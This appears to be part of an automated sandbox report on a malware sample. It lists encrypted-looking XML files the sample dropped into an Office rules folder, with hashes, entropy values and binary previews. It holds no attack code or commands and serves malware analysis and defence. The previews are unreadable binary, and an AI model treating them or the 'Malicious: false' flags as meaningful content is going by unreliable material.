Preview:	<?xmlF.....i.Rt4..%L?.9.t.h.G(D.wH..?:.@...w_.....U....R.N.N..}\...{h3+z..P.p.._..h.m..h....8...v..Z.I......x..2...WZ...N.!.j.j..'eW.......!8..V..}.......k.a..Q."7b}..........@..TH.....(A...ao.#...B.+....2P.Djd8`....9....G~...v....n....hJ...R. ...$........1sy..!}p...CA.f>( ...IL.......T./...R.....N...ox....=.8.&8rK....P/.4.8.OO..N....]../.N6K.hu..X..%.G..N.....h.n...uFQi.....-... .rs..../Id$..VS.....~....A..e.?Q.'.>....H.....G.~{..N..;W....4.....".?+.1M6F..j..&P...s~v.BJK.cS7..... .....#S.:..=.>m...L.!@P6..5.;R...s...O.j8M..r.\|._f...)C.).2..Hg8...B......\|.kV........S6...>...W........"...CM..st.N..r.6..LRa.A.!...T.....~...Y...F..ol'....8o.......!...Qv.I..EY..)....P..'H.J...R.t]..........[.!..CK1.:S.,.l.[t.#......v....q.[(9.@..u`a.U.8.]../..!..Jje}.3...1.w.@.g....D........N.$...E..jpu8.b.z.+......L[.......=....$.?Q...\./]]..(E.TN}:...,..T.V..B.......-...K..\.....e.......Zk.......S.v ..t<f.Nr..X.....>fa..u.83.>.#_.N.....z

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.874225250778086
Encrypted:	false
SSDEEP:	48:BZDBIQKqINTw2MNSXbYLL22DJqgtHalkv0P4iD:jDHNSLY32+Jp5H8PH
MD5:	53E6F54550E3F149CD2133B41ADB62F0
SHA1:	3E4AC47E11E50BFCFC79EC8F2393861E47092A03
SHA-256:	D4994580625538640E465DA17F551DFCC0F06B39D2171EC8751E20803402FBC6
SHA-512:	758E2B72A6E6E70201954D9346060A49D2E36561E97FA0E5F4CD18B3FAA3F623119D39DB7CA7A48EEAB3F876C34C5F1A1C564731DF15D32D7A5777079AF11533
Malicious:	false
Preview:	<?xml.....[`O.......4ig.w..Cq.(...9.....L....i.Y\|<..&...{UT8b..]S....DH..._4...6.@B.DY.:s..-.S...h.......Du.SPR.2#[..xk.T.....G..L...........!....7......A...(..J~..?{.h.h.....g`\|..t.A..!-=z+.%.T.Q...J.....:.....................}.}...e..8B...Of..D.....9[_.!..n.)...n....=].}A...Jt...&.U.>vbk...."v.....6E1..t.).d.......2@../....d...B.\Rn>.q.\|...E.{l1U........4.7.4$..yS....ck.J..U?.N.&Y.;\@3..H...b...`<%...;"...A/.>........36...o...x...`.a.z.b.AB.i.. ...:.1..1&.-..<8.G..2....q..w...c.ANfp}...W.......8w.<4..9#W.. P..].E.4"~T.&.["J.hP...._.....5.%..L../...>^...h.W..T.X.R./JXpt".6..8......E,..H..m.:.;gE..G1C.D.....r...@Hl.<.huI.7.....4...3Bq5..G..........3.6*...T2tv!CF..vNj...lg.....b..j..0J.`..%2.@...v.o.s..k..D.=.4._....vOx....c.I.&.nzO.Ew./....h.I,,....9b+.cu..)....Y.`.7...K%._!>.X.....a..G8.&M.&h.\|..=./K..+.x...&.S..R\|x..;.U."6.!(..K..Q...Q...1.x.=..g..^.P....V...T.."Mg..T........0...P...B.b......!.=.+.=.j5}.Y8;O<O......hn..H.....ig.^.[.W5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70025v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	3225
Entropy (8bit):	7.942996948584066
Encrypted:	false
SSDEEP:	96:2n5sBns3ma4g4g7J4Ikc5iVGA92A0LLS0tDA/vT:KsBnsWpjIbiVG7pyvT
MD5:	2175EB6B34C34588D864F368C6EB59E5
SHA1:	FE2F6DC375CAB4310ACEE1F97DF12F8FB746D2CF
SHA-256:	EC1EAA70BCDEAC1C71417C7AC22DFEE8FCEB0AF923C63FA2E0A7F98917FC40FC
SHA-512:	D7D62C914E66696F01C70870E501EC67A8EB6D4D9F94604D8DCEF1621AA7981BBA701CA7F885817C78A67C6384BB9C0DA08F7C8930ECB3F402B4DB1D0E2D854D
Malicious:	false
Preview:	<?xml..N8.e....gWR....x...q...'.X..&,(.."=....z.a.......X..-x0+..+D..l.H.g......._...'h.,0r....+h."...RA.DM.#'.['F...:.aE......g.DW.N..%......K..>+..........n.X.s..)..e....Y..E...r.I..\...@s@7o. ...pO..A..H..."....=;...dj.f.)O.5gQ.K.?.Y.(.H..8I...5.w....@...h..+.U..xm....U.....-...@...A....s..^.if...V4..F.a^.e...{....l...J....qV..xFtTA.Z....HO...~.:.F.~..6.F.....z..o.....f....aAo.Q....C..S..m.t.RN.....s..\|....UT.Q..h...!..'$.~..)..P...?.[.;...!4.3^0......{..........;S.+..B..C...P..\..o.'..-.K....K..$..\|.\|..IV'.q.KQbB..:{\|...."hk..S.`~....Q.V+.g..6...W.4........?..~....{.).P...T..@..H\..8....r9.}.m..P.R....9........u.......S.......7RT8.BI...u.\|p....b./V.i.{....T..+8O..t...a..ic=.z..Ph...1.$,"..uT.D...N..@.....1.}.7O.Y.\|....5.>...@n....M.c.....\.`..{z+L.Gd....\0.{_..}H...tP,.py.G..<...........M...6...).5!. $Pb0Tg..v._#.v..h..F.a.E.%!..b.>.L..?...O'....~..K.i....4..i.]...jA...W....../6..;.~.[.......re..*.8...p..x)..(...o..pu)u5VR..3...]....kpN

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70027v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.7345710431021955
Encrypted:	false
SSDEEP:	24:wfSnMcHLHb2uYoVevjV+OEn/nkNZKK0iTkbD:wqnvHzb2uk+oViD
MD5:	74CE6FF80A8D6390D52F142AC449EEB5
SHA1:	8041871AC9453567E6153EAEA9C4A1492D13E69D
SHA-256:	DF6CEE5B288AFA3118971FABE66B3B915CCC812ECAA4FFF466D876AC3FF003A9
SHA-512:	B4E161A98BCF4C908074DDCFA907330E55B37C2DC758F92E45AAF7DD962E3035965CBD2A35534398D21330449AF383FE14A4914B292CACEEDC172A0D5C26E4D7
Malicious:	false
Preview:	<?xmlM.Y...k.:..\|..b.....#.....x...^......e.hV.H.p...~AX>#..W..1n.z..G...7. ..."....H-!{.?07.?.Q....@...}.s.B^j..w{.G....#4..".-c..mb...b...Te...:..L...-...z...Ua.82..@.h....<.S1... Q....w...g.c..dU..Y.T....-...t....e"..._.....3.p.g<....3K.-..V..^x......!....Q..K5...h..\|IP5t...=..n...!...5..:..r.ZY............;._6z.oM...L..P..r9..@..w.....\!..y.....v.6N........8...y........Pn=-.......{..oj.....-.8&...1<y5..7.nc?.l.h.....0.v..e.R"..=T.K.PE..\|...zY,.........&im.7..5.".A.Q)`.^.$...e...E37i].u.O...._q.P;.,..-.~..z,..A.&....i).(.P.v.Gc.....b......(...7."...t.?cHV}cU.X..\.P.....o.,...>..1...P..a...z..ZA/...".X^YF..".......f....2P...lo6.@j..$......KO@....m....P...o/...X}..$)h).Ib...-.b>.E............'.v.L.+.....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70028v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	7.825614599256083
Encrypted:	false
SSDEEP:	24:kL9VWt4QhY+G2mkRDZdoPomZtEYktjIUIA1IpKRGtXfKM7lha/Tsns1iTkbD:kLeY+GW9SNtZYwhXfKMXa76sMiD
MD5:	76FF063F48789292396C41A1A4F2EE81
SHA1:	3451F3033B2DA3589295777B3F1B42AA4CC961E2
SHA-256:	D4CA9A5C4487441EDB5B48D2FACA31FC977430C3185EB51CD0D0B1089BED7BEA
SHA-512:	9FE29F40857B0DB87713E4F288AB03F5EBD0C32BE3EA05317E4A19E748BDBA605B61FABD0D9CF8D5C5A8C2C187A6EF9BCEEDB12EC837EF2FEBD279620559CCA4
Malicious:	false
Preview:	<?xml..iL;[E.u=....y..}&.\C.....`o'.../.O.e.@..@...Y.\|.%^./=i..WA..f_..>......n.?}....,W.#.5..Z./....c....{.......i.....5.o...:".,...E.^.....,(.s..B^..).x...A.X..?n~......6-`P....,....J9.\|.B...?...-.o.S..b..TZ.....#..{5...y..J...<..r.....W..a..U9.6]....j%...>.....v.../.!..........Cj.F.~.....J...........\|...s.3Yo.UpC..3..q.......CB...7Q............e[......+.ahD..)8(.4.q..3......K...".C(..D?.'.l.\|..Y...s.=.N..B....d.X....#..No......e.I.f.!ON..M.Q.?.7&.u.B.5.f...:~.3j:w..GfB..G.K.SDMM...e./X..Pc.vO+w.a{Kc..{Qg./\g2......Z......I:.'ROv.9.4....=......L.dI...x3.9h.X.3......S...X-i......a3.o6q.-.[.!.\_.S...l..L1.G.....q.Dx:...^.9........9....W.!...f:`.... .....K.F.Q.<.Ys........3.........)(...:.k....q.......!d...d..?$G...(.[...>..(Ua..d.l;.R4$..C*..nB.V.Z.. C:.C.o.+qD.B...... .......j..(.~E.A..Ze..v.lw....[j.C.u/<..;.....D.C....vZd)O.m.1..v5....."(.h.R./M.<.`..Y.!.e.t..x...$3C...y.{.z..#:F...%.z.......Q...r.O....;.`.z.\....~&4.F....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70029v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1004
Entropy (8bit):	7.76850783089021
Encrypted:	false
SSDEEP:	24:0U/hOCrp5trJlTuQ2t2AAf2wrNRJ+1HMvPHgG8MiBPX0TvB7siTkbD:0U/hOCjtrfiQ2x4LRSH+PAGXiybiD
MD5:	B66C500876CBB179C8BF8BF8E8DC1DBD
SHA1:	6B7AAC54BCB74D05593215E062542C34F1BB8B2B
SHA-256:	6098DE271FC63969CC0B9DE4101B2B957581B0FBE46A3C9E2285F3AB026CEE9C
SHA-512:	70303A413ECDCA6EB4304CC51179509B385F6885E2E0479094A972EF6449320BA2D9A665E1898A15183E3F7D7A7085BB8A4AA5B3DDAFB1829C4D6799F1E43139
Malicious:	false
Preview:	<?xmlv ...>..U{._..h...3....Oj.....=......JZ/.....)....?...G...z.2I.WMUg...._........&...m..../Y.\3.1N@..P..Jy.gW....+.i[...x-...........k...........NZ..L..W/..d%....}=.k.......I..e..D..e%..SR..OEI.:3...X.m:....O.3...R.]...H....`.U.)B.;R.9.:.!%0.y......:h....?.......9..ia\|.V.....Z;.1.......R.~_.L. .......><..p.&B....N.+.2A.......+..7.^.R.X;......\|$U.. ..o].....;...h...LXg..q)t.....1..R....-Y..+Da.P..W.....7.M+...D..Gb..z.g...\|.....;.9.+q...Sx'lWRR..<.H....2....a.......s&..MOb...A.....o7.;.*Y..G=FZ...[9ETB.._.;[....E..df+. 6....C...l....@.-......lM3..9z.^..;?a.NB.Q..7qp.]....o/L......_....z.&..5...{..2....8\|l......-..V2...E...SHY.9..E.n...]\|.PY.&...eV...[XP..!.;H5.]...@-.+.9..n...rx5.8M.x."E...%?Q."..S.)....7.a.7"..9.).l...u..JH......Y+U+^T.S........W.wJ"B..w.....o.L.>..I..h..D....F..=....g..j.........>5\&j........-....~.4.t.C..fy.4.9......p.V......@..3..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8829579573134465
Encrypted:	false
SSDEEP:	48:wcNt0ZabmB0RCeQQVohklDTvzeBAgMTfuPiD:wcNolq7QQShklDveBfMzui
MD5:	2576AC0CAE6440DBE56A67F7653D3F41
SHA1:	5E18A04314F53771DB2C0D54BE7559E36382EA59
SHA-256:	06951F2D8821B4C1A8FA1A786459558F6158B5DABCFF872B8A8CAD0C47C27932
SHA-512:	BB7A0991E68285C05A25331930F59BB6904012121AEE7FB7759F0BCF4486765F7AF263281F35CEBAA8EBFE3F80E2A2F4C192BC2725537BA102E69A335F272EC2
Malicious:	false
Preview:	<?xml.-..5I....(..:.~.h...W......R..\|.L.tb..W......+h(..T..J.~..^...5.WF..,}....s.,d.~U$)....6...`...S.=g..\..xV..y.Y.....7....Ie.5.r.....e.oN.!...._">n..../.[......Kq....~8.....4....(..Y+jy...._.6.i..........%.o....>x.X.,K."._Ox6....nt.O/...a.44@.2..!.Ph.&...Wa...^.<..$B...5...."....b.l....4..//_;A.~..`.Y....`..S3c1.Jq~.VT..Xe.. P.....$"v......I.I.....;...P..1.=.....V.Mg\....IF..A4..+.RZ.\.].\|h.9S.......!...j.F..Q......y....OU.x.{.Z?...]...c.y.(....i..U.w.<em..."......F:.nm.\|.3~.`...o...b....k......Mz.1M...b....%\|.+.F.+u.0..F.r@..[LhZ...>F:..............n?......F.f...4.....W.`..1........X M..O.0..=_fOwo..%Q....\|.....;hl.tFZf.X.DjA!U7..$.!..........U.d,d.C.3,..."q.}......>@[... ....[JW..f....:.X......<.i2.p1b.R.[Ho...j..mU.....1L..Z>^...j..k.b....`9..($........TF\|...V\|9.YF.T.r.f.{...'.C.%.{.ah.:b....h....f..dCX.f....A.=./;]/.O......?7....-.$.......Z/.kD..&9Y..\|.{..O.NR... .`.Cht.n8...>`#..d.b..3a`...ez.T.b%.>.....t=1..X.6.9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.892240294782929
Encrypted:	false
SSDEEP:	48:rhNKvMflEIMiiUymx+hsIRhycLt3Hn1+viD:rhNKv+lEpiA7h3Rg6Hn1+C
MD5:	AD536AA93F4C9121659595282DB38C77
SHA1:	1FFDB58B6EE00CFDB70149C92C197C8DC5233C4C
SHA-256:	742D89C369FE9352BB43EE046958CE7F46191A931CC404E8FFCD0C452D96084B
SHA-512:	04A690457BA0F201D6460910AE984E6D008D0715C8B264ABD01F3724155345E0FCC1762BE62FB50C565DCA168300A875FFE9979C70C9CB94C296A46A89DFF53B
Malicious:	false
Preview:	<?xml...3.]/..B(.w}......K.yfn(...O3..t.d.fp.0..H.l..e2.u.y,....s..Z.%.....E1M.+r.A6,..6...Ccc&.w.1Z.L...H....S$.......Z...t.I....>..g...a......F...Q....=qE..i....X....V..B\|S.;(."V....O..Ak....F%/._N.M/......cs..x...[3.......$.O...9S...<]\&C.>.....:.....y.6......E....c........m......P..;$x...#m..=.H....4...,.....w.l...@....MYqh4."L.dIV...W.......5.....^.c...`.Q...y...D..Ky..W\....Q("P...3Y..d..L....Q6...[..$.N..}........11+.o8>.....~......`......z.V.O...U..n.9T.d..owC.q.d.2........~.B..k@....q3..H...I..K1.....9..e...Q.O.Q.../..........U..i.i.h.L8......R......xt^.r<l.L..=.gM..W......6*=B..dr....@..}9,}.f...3.C.Dz.o..../2"v...{..{.@{_I,.....<......Q(...mZ....es.. .r.V...6.wQ.o.G..h+.....<X.y..".u..VB5tj.$......U....97.. ....z~..pS.T.!\0.....h.f.@m_?q...0.>..Db.{..9....$I.%..\L...-....:.V.S..R]T!?..n+..u.....US.4S.)..x`w]r...T.M.Fv:-....b....5....R&.'.21..1.c.....3d.....)..<.1.....Q.m.L...iMk0...\|....(<.p.".f.Y\|.$..._d. Q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70030v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.71880472809548
Encrypted:	false
SSDEEP:	12:eetuQxND6ad+g5TmuDp6l5yjwmY6TgVkv8WyXfqoF0jP2YW853qCOkRqCIbiixpW:e3QxLdz6lkM486VuC5/RnWiiTkbD
MD5:	E14F31D48259A5481A13FEAB61603493
SHA1:	F39DEAEA17FEA054FACE46C067FB8AEF7EE4AA23
SHA-256:	4691FC78D02F9A7002A6F83927913A31D42AC4DFBEF332D1B98CDFF86FB75F11
SHA-512:	83023B3716F4ABC4F0D19EECAA671AA1F71003D057565D5FE3BF55101C452FE70F333D49DE9C1FF52DBE929B22E2AE2117EFA247A445B911EC71C21FEDA29783
Malicious:	false
Preview:	<?xml>u.i..`ckj...8A.T..J+. ..ge..%...<...z...9.W..`..:.Zu...........a+. ..g....J.6Q....!;..w.u.;.a.mBF.3..T........I..9H7..#w[id.!......m..\|8.....c.N..zG...R.....!;.vL..t../..w....w...'..`..P+l......P.R...T.OQ.Z..G..L[....1n*f<2. 0J_...o...hx...Gbx..x...$...8...'.j.g.\t.v.....b.d.....+]-..ZbQ..\.....I.J.8.Lw...m.G4.......N.....%......v...u...D2?.N..2m...UL.).(.......e<Z...L..[P...,"..N..);w..Y....E..j.\|..I).$f..n..^G.....r.Fl....%....U.s_.F.9&7K....%...c.\Ba..q..nf.....{X.~.'......]...v(q.o.+.w.3v.....4j.r....l....2...'...Pw$..q>..:.pw.'i[....'/..^\.:.u.&l@.T%......^.......)m.V/.;.'r)...n\|.q...#..8._..E.x.[.NwzBi.)(.6.S.8a...Q`_i.YP...aj..c.p......=.%.4r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70031v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.690171715683277
Encrypted:	false
SSDEEP:	24:IIpAVoGAOEJKvUEy7aphZSZkBzr4gcfSKdV1oHyIucz/ZiTkbD:JpAVr6KvUEy7YhIZk/cfdiS6siD
MD5:	153A056D12ECB4F1F7C7AB2B2460D2C0
SHA1:	EB5DEF016417D1446A97A87AE89A301AA58E3961
SHA-256:	082BEFD431C4AAAA189296D48C798AAFF27BBBF06F316F2E7CB0D0EB01485128
SHA-512:	1B1933AC7546914FE064259C99C5E013B1DC68C5DC10C427B158265072E85D43C7FFB068BC7F1242CFBA6772EFBED790A25B2E9CB37070837AC57E694A38965B
Malicious:	false
Preview:	<?xml5g....d$.Jg...U.P'v..C[.W...8v4e.....@.T.A!....%N0=..j.c...O.\|.P......+,.]...'.{...-.-...S.c..>..aD..\.M..\I9c.'..RA#L-...p...z....P5..u1.B.A...M..x.....<.Q..8D:.U...m...K?.F....S.y.4......q.e...\|.d..qB...Y.,..C......;E.`.ZT.D...k.@..x8=Z.X.V.E.c.T....i.+.....z.@...p....i..T.8"Ar....u....)...4..x..im..U.....yC..hc..SmdZ..Lq....!(..+.~j..w..9...lU..Q;Y.D...............xG.~.F.%d...k...h.M....M.M7.u.1l.0.~.9.D.y..MW.'A./.........Y.F+......T/Z.W.{@.u.\S.V......V.f..........f......k..c...._}...@V[8.'...<.*.....#:.... .R.9p#.{...1e...K..<...'...V,/.......Q...gub..\|..z..6{6#.D.........fr..)r..6.}..2E4.m...^..=Q..m...\|y9G..5gS.'9..o~..%.y.5>3F..F.R.B..r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.87673646594719
Encrypted:	false
SSDEEP:	48:DvQVPS237zBqjx58qjzXMfi+Y3uzeTh93nU95iD:DvQRqjL7D+4h9XcI
MD5:	84B39AB02511C115D256F599DF1228ED
SHA1:	D735EC4FCAC0BAB16C3CA962EFEF493B8CD4E2B0
SHA-256:	BF8848BF356AD93435ACDD7D8D5FF767B0E321810D3B5BE1CD2DF1C8B1EA7F68
SHA-512:	BEB20F821F628353B07222682C0FF0F3A51AC0F19A73DE127AF530216C8560103D326B796A1E1C2EF498447630EB16A1F9D13F0358185CA582629C192EF892E6
Malicious:	false
Preview:	<?xml.N.....+.I!..x.....-..c.ih6.......K%0l.j._@.r.A.C.F......y..X.]...r3..X.oz..M0.....K..Oj5.:!17.....Y7...7...<Yns....~...........b)...9n......7.1..Z;...{...1.f.}Q.S...h\Fb..i..Z?7!......pr.b..22vQ...P(....U/..)1..T....".=.N.N......Y.R.g...L......=..L.#.p.o..d..`.,w3..am;...'A..#&3...JJ..K.n.P.`..Wv..2..JY<.ge.1ZdVS.H;^...r..4+..Tn.O4is..p.....;...I.(.$0..b,...9\...rk....<.l-..y..t...3...{.=.Dy9..&}Uh.'....Xga\|..?o.?{....%.M`...5.....W..c..X.X3.g.+$;...Ss.z.`..3.:....@....q.hc)...A.>..&.....l..;.C.......tT.Ct...6.O.X..@=........./..-::...X..f...2..G.oV..W.AA..j....O.AF...5.h..&a?..Yp..g.N.:LF....e. $...`w..\y..$.>e..UXd.x...4%.P..N.....l...J.).Eivx/.&9...~....a.37.9y.Q!.bK..>x....=.{..$2..).c......[."......(.q....j.$.q....s.[.3*.[.C...K....#.^\...)."(.T+....8H...H....}.......4G.b:.X...Li......w...p1.C........w....oi.<t..?.r..Na&.9Jl..[O1.L..a.0....=[.i.xc..Ux...q.V.....3...k.....a@..J...t..:.V?...b.@..P....)....._].....<..P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.886823203189973
Encrypted:	false
SSDEEP:	48:WGwMjMk745A0XkmUbWBWxGhVcLwtU4y9lpxMHiD:WGwMj70UmUMVeLeOF
MD5:	11592E25BC949A726A65D70DC4F43652
SHA1:	2ED354646C18DDFEDE0F23A26AB66443C38EE9B7
SHA-256:	59E879377E3273214451141C67B5A4B4F3E4A392A2817EC8D89C7C665360A752
SHA-512:	7A84E5CEF4F77CA556BCC28E4A19C7A5DAFDE1D9AE97AFCBFEF5F7BFB2121C8B8E502253E083B645F492868E36F84DB0C0F747D122BF084457E4821C2A7D033E
Malicious:	false
Preview:	<?xml.;...W.....v.5@.\|a.c.`..eS..3. ..2(......H.e.u^._.'..Q...(V.6......{..(.d=We..BT..y?;....3.....zC...n....-.=I?#..\...{.....&....>..M..,..dYj .W.....a.....~..KJ.z..9..3...P.....].2..8Z....ko.H.$x..s...Z..@3iz....!h.Iz..[.4.V.[.Y.sE._.....C..p.g^`.....j.%:@.:1.3...~...]D. .a...;:.^ ....-....w.mg.....5..#.....!c..]:v-{.%.B.71......b.....%..g.....Qb...-.?..........y..h..f...d#.m4.0cH.....o...h....?S.\.F=<..?.".....\|u.A..}&..Q.a..i.4...."6......).-.l.V..U...."...f.....YN..mV_..m..09..A..e.>~A...p6......P.xr.'..v..\|..{5...+6).z=.......uV.x.:..,.%vj..E.!u0.4_..W.....\.v.`...`....#.[.<S(!.BU..e..x...W.%U...A..b.u.....6.LL........E....".f=.A..n..,..^..........g?9.1.R.)..O....hC!!Y&,..v+....].3....{.Dx.z.`.Y...h..o%...M.v....cl{...#SG.`...gRs..q..u.3.R@/...9m.0-..W....}...LYV5<)z.S.....S?......&..:.....(].."..[..B..\.G.1./G.k...?.s.u....mQ......@u~&...OM.....j&.ZBk....j'Qv...1..G<.........Wt....H....:.....C0..j...Z...GEL........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70036v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	7.695216059433944
Encrypted:	false
SSDEEP:	12:HhJd+hIh8zRMOSP35Ia7fWO43QruygULyW+z5+jy/gFW97jpN96hD/ZsEo88q9+H:HDd+hIh8zRMOfaDWOTruHUmW+zkyBNpP
MD5:	6CD6C1E7F46577799AD114C1AB417E71
SHA1:	08202BD9B644DFAC738A5DFA8E4861F94FE8DEFC
SHA-256:	92CE83100CF836D183E0BBF413935D452E30AB4433123097F424BA05BAA15EB6
SHA-512:	C64C96C088AF29B12C137C96D47508D4F0A8D36C71620454CEDFB6C131932817B7BDCE36AB97E8F2602284FFBE4663DF8558D75ECDE0C550E4F6573D69F02234
Malicious:	false
Preview:	<?xml. . ...G......W.{0...G/vK4k...M..2........T....E.$y.+....gB....o=..8._......$/..c[P.I.0.t...X..I24.wd...H....K_......+...W'..N...u4%.......<f...z.5{.6(.xk.5......h8k.w.+\|.>....d....VS.0.?..5P.)...\|.^ .n..&.u..{;.L..A`.....e..v...._Q..-._,......-.!.M......JU...~..Z.......D.T.{D.uX.`L.....%6p@.M.y.s../..v..zk..n<.Gn.C6..Pg...C.......0.S..U3O..W0n6.7j3..E..?.......z.cP.[........B..T..o..w...`Z.W..pq.P.r.-...i.3z9_.$...'...@...C..").c.]Jw8Q.87.......".${.8?..s..N.9`../_..s;HG.&..^..+0....V.d...,...^....[cR...(S..}j.H`......I.Bk..g.O...+.L..!W.#..B}.<...)....V.I.....s..`..=.....fx...J....H.yz7......r.....H}..e..kRI.c.F..F>>...yr6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.732208368119958
Encrypted:	false
SSDEEP:	24:2rVfV/8+zJ6ib9pKhsmU7mNhaQQmliTkbD:2ZN0+zAib/KhsPWaQQmciD
MD5:	72DEDD1E6562F9272590EDCD9F4082F7
SHA1:	C361AE6BA93896FE7C7511F13CB9FD261D43B07F
SHA-256:	6B42F40345CE79C52FC4B27A886CD3AAAA6B62E87714DE90940E7C15CA2D0F2C
SHA-512:	AF44AECB219B3092DD1DC2A98D2FC9EB59F484B935FBF307628642B74BFAF373BDF948AF6748F4B33846D599E6D995017D53623EB08AF3A842564DD6E60C3183
Malicious:	false
Preview:	<?xml.-f.......p.z>..8..M7 .N9.P..Ef..:.....PdzQ.})0.zr$.T.\#Cw..nw..E..........Z...........Z.1Lk.'6K..`0...HY....(.\..\|:W...Ny....!...)&+..xat...C.FUk.,..../.Jz.3....J..../...L...y..O._.........?}..G~.. .......1vkt...+.{Q.(.)..AiWuzvA.m.H.........3.u..\|4...n.U.7.j.....GT..1.........u.(..P.r>;....`B.y\.0...CgT...>]H..Y.J.......b.,...}..b...0....^.$...g.n....Fi.%:....Q.S.\...m....../..%9....`......B.H....du...]....>....\|......0.Dl.........&.#fn-...%XA...1.K...+9.........nO..^'..0......G@<.i.CZy.XN...N}..\|o/..+.........[O....\..]d..1...>..6A.l.o\|`...(m..A.`.qk.l......*.Q..[.'G#..pU.Z..".....L.;x.\|....jRs..,..[.y.uV.,....3.HlVe......h......I.N.C.#0.T...D....r6yxl1GT8iG2X6JaJ1YNnYz19XjwMZnkCEzV04l5{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.885236534903807
Encrypted:	false
SSDEEP:	48:n6aH5dzGznHm5huBXXmrd90/2l4Ovl9hgXjvpF5qlFfjiD:RHHoHm5QBXXv/22AlsjFK+
MD5:	E973491A2064CD5746FD0A6638CC7978
SHA1:	44BCDF1120D5E23F213B9C62627A9CB43A88A822
SHA-256:	CCA3843CCC8AFCEAF43FAEEC492E0FF2FD0623F0B5E83CECD48ABC7E2D833DF1
SHA-512:	9F56589F23CD01A55965B6BB54914AC499E93988F77A99594D585634B8134512A3ECBBC2479A779AE958B2262B5FE43C3C7EC5380B5BE083576351EAF9D7FFE2
Malicious:	false
Preview:	<?xml8Y.:.A......#.....0.].:......g.....,P...L<....~n.~{.A..2.2.d&.=.s.P.p...FzW....[.....F..i&......k.mfQ.. ._..U...d.....xS.D#...,...}.jy.FY.SZ..R..7....a.g[.{.....=.7;or...R..}0....[A.H...gT....f.....D.U;.o"..xO+..n...3R.^.Kd?)..H.w..P.U.<:.]..[W..).0.:..,..E...\L`.i\>.4o.j=n.FqP.>..B<n..)...3G7.......G#...Z........&...).J.d.X0-..2..!.!..............?'.......D..kQ......_e^F....H..._..YH.8w...A3.O.c<.....!s.....W.=E...v....4c.VDU1.....X...=8...z.T^....z3(...t./.B..M..L.P..).AOC$....3b.;.E...xnD........{.0.ic.......d..%..},..._...^ ..3(N,.a7Xa...i5..G...\.u.'ZMb.v....L....H....@.=5OyK..?....F..Xh......P....\.....-..yj0.."..Oz6..Y.))y!.W#.....L.L...mx..?W..i3...U.........>..U...j......P.C....s..A.Du..^IU....%."+.<.....-..,..:iE..u./lo.C.h.+L..1...; ...<....Xi.=......q3-....@...!...n&"...E...........N...OO.....,.Y...w.DE.&..q...9.,.N.x@@6.w....o..K..Im...x....wU....V!....o!X...c..x.R.d...V..Ws.`...;.c.....p..... w.......w.q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

